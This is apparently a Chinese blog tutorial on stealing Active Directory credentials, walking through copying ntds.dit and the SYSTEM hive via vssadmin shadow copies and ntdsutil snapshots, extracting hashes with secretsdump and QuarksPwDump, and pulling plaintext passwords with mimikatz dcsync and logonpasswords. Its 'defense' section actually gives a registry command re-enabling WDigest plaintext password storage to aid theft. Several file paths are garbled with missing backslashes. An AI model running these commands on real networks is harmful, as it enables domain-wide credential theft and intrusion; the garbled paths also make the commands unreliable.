• 获取域hash并破解


    ntds.dit

    ntds.dit是主要的AD数据库,存放在C:WindowsNTDSNTDS.dit,包括有关域用户,组和组成员身份的信息。它还包括域中所有用户的密码哈希值。为了进一步保护密码哈希值,使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密

    获取方式分为两种:

    1.在线获取

    2.离线获取

    注意:

    在域环境中,建议不要直接在线获取hash,特别是域环境比较大的时候,在线获取hash等待时候较长,工具占用资源太多,容易造成域控服务器崩溃。

    在线获取

    适用于域用户较少的时候

    工具:

    wce、gethashes、mimikatz

    离线获取

    导出ntds.dit 和 system文件,下载到本地 (这两个文件属于系统特殊文件,不能直接复制粘贴,需要采取特殊方法进行复制粘贴,类似的还有SAM文件。)

    获取方法一:卷影拷贝法

    利用vssadmin命令

    (1)创建C盘卷影拷贝

    vssadmin create shadow /for=c:

    获得地址 \?GLOBALROOTDeviceHarddiskVolumeShadowCopy4

    clipboard

    (2) 复制ntds.dit和system文件(将文件复制到c盘下)

    copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy4windowsNTDS tds.dit c:\

    copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy4windowssystem32configsystem c:\

    图为复制到域控下某台机器上

    xecdiid]xqtl

    clipboard

    (3)复制完之后删除卷影

    clipboard

    (4)破解hash

    复制完保存在本地,利用impacket工具包 在impacket/example下

    secretsdump.py -ntds ntds.dit文件的位置 -system system文件的位置 local



    获取方法二:利用ntsdutil.exe工具

    NtdSutilexe是一个为Active Directory提供管理设施的命令行工具。

    (1)使用ntdsutil.exe,进入ntdsutil.exe命令行

    clipboard

    (2)使用snapshot,进入快照管理命令行

    clipboard

    (3)创建新快照

    activate instance ntds

    create

    clipboard

    (4)使用mount挂载快照,得到一个地址

    mount {a90b5261-9d55-42d0-a19d-d414c7f962f1}

    clipboard

    (5)另起一个cmd,复制快照种的ntds

    copy C:$SNAP_202002141741_VOLUMEC$windows tds tds.dit

    clipboard

    (6)卸载并删除快照

    clipboard

    (7)保存system

    reg save hklmsystem system.hive

    (8)破解hash

    使用QuarksPwDump-off-line进行离线破解

    QuarksPwDump-off-line -dhd -nt ntds.dit -sf system.hive -o hashs.txt


    获取域hash其他方法

    其他工具

    导出工具

    1.ntdsutil

    2.diskshadow.exe

    13.vssown

    4.auxiliary/admin/smb/psexec.ntdsgrab#msf模块

    5.使用PowerSploit的Invoke-NinjaCopy远程提取ntds.dit

    读取工具

    NTDSDumpEx.exe

    只获取特定用户的hash

    进入mimikatz命令行模式

    lsadump::dcsync /dc:win08.superman.com /domain:superman.com /user:用户名

    获取明文密码

    分两种情况:

    1.在域控上获取明文密码

    2.在普通域服务器上获取明文密码

    再次提示:

    在域环境中,不要直接在线获取hash,特别是域环境比较大的时候,在线获取hash等待时时间较长,工具占用资源太多,容易造成域控服务器崩溃。


    1.在域控上获取明文密码

       1.利用wce

    wce -w

       2.利用mimikatz

    直接cmd调用

    mimikatz.exe "sekurlsa::logonpasswords" exit

    离线获取,能绕过杀软

    离线获取明文密码

    2.在普通域服务器上获取明文密码

    普通域用户无法获取明文密码,不管是wce还是mimikatz

    普通域用户无法获取明文密码,因为利用工具获取明文密码需要从系统进程lsass.exe的内存空间中读取,域普通用户的权限小于系统进程的system权限,所以没有办法从系统进程lsass.exe的内存空间中读取明文密码


    防御方法

    关于wce和mimikatz以及lsass.exe

        Windows8.1以上版本或打过KB2871997补丁的机器,lsass中不会存储密码,如果想抓取密码,可以将注册表HKLM(HKEY LOCAL MACHINE)SYSTEMCurrentControlSetControlsecurityProvidersWdigest下的UseLogonCredential设置为1,类型为DWORD32

    可以使用命令:
    Reg add HKLMSYSTEMCurrentControlSetControlsecurityProviders Wdigest/v UselogonCredential/t REG_DWORD /d1


    clipboard


    clipboard

  • 相关阅读:
    关于数据库字符集编码及通用软件产品的设计表结构的注意事项
    记一次调用第三方接口,对方获取到参数乱码问题
    Java获取固定格式日期&计算日期相差时长
    Redis之雪崩、穿透、击穿
    [LeetCode] 两数相加 (JavaScript 解法)
    React hooks 获取 dom 引用
    PHP + Redis 实现定任务触发
    测试PHP几种方法写入文件的效率与安全性
    如何调整firefox鼠标滚轮速度
    美美Apple ID 注册教程
  • 原文地址:https://www.cnblogs.com/sup3rman/p/12329896.html
Copyright © 2020-2023  润新知